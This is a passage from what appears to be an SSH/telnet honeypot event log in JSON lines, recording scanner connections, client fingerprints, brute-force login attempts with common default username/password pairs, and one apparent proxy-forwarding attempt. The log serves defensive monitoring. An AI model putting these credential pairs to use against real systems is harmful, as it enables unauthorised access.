00 _\\xbb\\xea\\\\\\x9138+/?\\x05\\x06\\xe3\\xa8\\xbbQ\\x91c~\\xdbZ\\x89\\x07\\xb1\\xa8\\x88\\x0e\\x8e\\xd5\\\\\\xb0\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0f\\x08\\xe6\\x02\\x93\\x14\\x1a\\xc6\\x87|\\xc1\\xd7}4LIR\\xfb\\x8f\\xcfoW\\n\\xcc\\x85\\x0be*=5jZ \\xe0j\\xb8oJ\\xf7m4\\x19_B/\\x05\\x0e\\xdcl\\x02\\x9aG] \\x93{W\\x96I>-\\xee\\x90\\x17]\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 _\\xbb\\xea\\\\\\x9138+/?\\x05\\x06\\xe3\\xa8\\xbbQ\\x91c~\\xdbZ\\x89\\x07\\xb1\\xa8\\x88\\x0e\\x8e\\xd5\\\\\\xb0\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:35.404089Z","src_ip":"123.27.168.40","session":"59fa5538b299","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:35.794510Z","src_ip":"123.27.168.40","session":"59fa5538b299","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jayleen","password":"jayleen","message":"login attempt [jayleen/jayleen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:36.881385Z","src_ip":"91.92.40.36","session":"8a4780436d32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:39.630833Z","src_ip":"91.92.40.36","session":"8a4780436d32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14872,"dst_ip":"159.203.135.109","dst_port":22,"session":"d285b18128e5","protocol":"ssh","message":"New connection: 91.92.40.36:14872 (159.203.135.109:22) [session: d285b18128e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:40.464928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:41.533398Z","src_ip":"91.92.40.36","session":"d285b18128e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:41.554489Z","src_ip":"91.92.40.36","session":"d285b18128e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":49714,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb4d8e8a2529","protocol":"ssh","message":"New connection: 91.92.40.36:49714 (159.203.135.109:22) [session: fb4d8e8a2529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:47.014505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:48.366731Z","src_ip":"91.92.40.36","session":"fb4d8e8a2529","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:48.371314Z","src_ip":"91.92.40.36","session":"fb4d8e8a2529","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":49770,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c721283a38d","protocol":"ssh","message":"New connection: 91.92.40.36:49770 (159.203.135.109:22) [session: 2c721283a38d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:52.081003Z"}
{"eventid":"cowrie.login.failed","username":"estudiantes","password":"123456","message":"login attempt [estudiantes/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:52.605427Z","src_ip":"91.92.40.36","session":"d285b18128e5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:53.706780Z","src_ip":"91.92.40.36","session":"2c721283a38d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:53.710784Z","src_ip":"91.92.40.36","session":"2c721283a38d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.3","message":"Connection lost after 16.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:56.732587Z","src_ip":"91.92.40.36","session":"d285b18128e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"123456789","message":"login attempt [ubnt/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:57.977986Z","src_ip":"91.92.40.36","session":"fb4d8e8a2529","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":18042,"dst_ip":"159.203.135.109","dst_port":22,"session":"1aadfa7acb5d","protocol":"ssh","message":"New connection: 91.92.40.36:18042 (159.203.135.109:22) [session: 1aadfa7acb5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:58.218892Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46380,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2b34278df18","protocol":"telnet","message":"New connection: 172.81.62.90:46380 (159.203.135.109:23) [session: d2b34278df18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:59.181965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:00.851134Z","src_ip":"91.92.40.36","session":"1aadfa7acb5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:00.855218Z","src_ip":"91.92.40.36","session":"1aadfa7acb5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:02.128948Z","src_ip":"91.92.40.36","session":"fb4d8e8a2529","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwerty12345","message":"login attempt [ubuntu/qwerty12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:02.758833Z","src_ip":"91.92.40.36","session":"2c721283a38d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.2","message":"Connection lost after 13.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:05.244854Z","src_ip":"91.92.40.36","session":"2c721283a38d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"confluence2","password":"confluence2","message":"login attempt [confluence2/confluence2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:07.667990Z","src_ip":"91.92.40.36","session":"1aadfa7acb5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30532,"dst_ip":"159.203.135.109","dst_port":22,"session":"b949f9e22dba","protocol":"ssh","message":"New connection: 91.92.40.36:30532 (159.203.135.109:22) [session: b949f9e22dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:08.235357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:09.242629Z","src_ip":"91.92.40.36","session":"b949f9e22dba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:09.246200Z","src_ip":"91.92.40.36","session":"b949f9e22dba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.7","message":"Connection lost after 11.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:09.929033Z","src_ip":"91.92.40.36","session":"1aadfa7acb5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30582,"dst_ip":"159.203.135.109","dst_port":22,"session":"759dcffeb3f6","protocol":"ssh","message":"New connection: 91.92.40.36:30582 (159.203.135.109:22) [session: 759dcffeb3f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:15.174442Z"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":65490,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd7d2f4dcb59","protocol":"ssh","message":"New connection: 63.141.242.2:65490 (10.17.0.5:22) [session: cd7d2f4dcb59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:15.349153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:15.443262Z","src_ip":"63.141.242.2","session":"cd7d2f4dcb59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:15.447965Z","src_ip":"63.141.242.2","session":"cd7d2f4dcb59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1q2w3e4r","message":"login attempt [deploy/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:15.961867Z","src_ip":"91.92.40.36","session":"b949f9e22dba","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:16.952291Z","src_ip":"63.141.242.2","session":"cd7d2f4dcb59","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:17.466923Z","src_ip":"91.92.40.36","session":"759dcffeb3f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh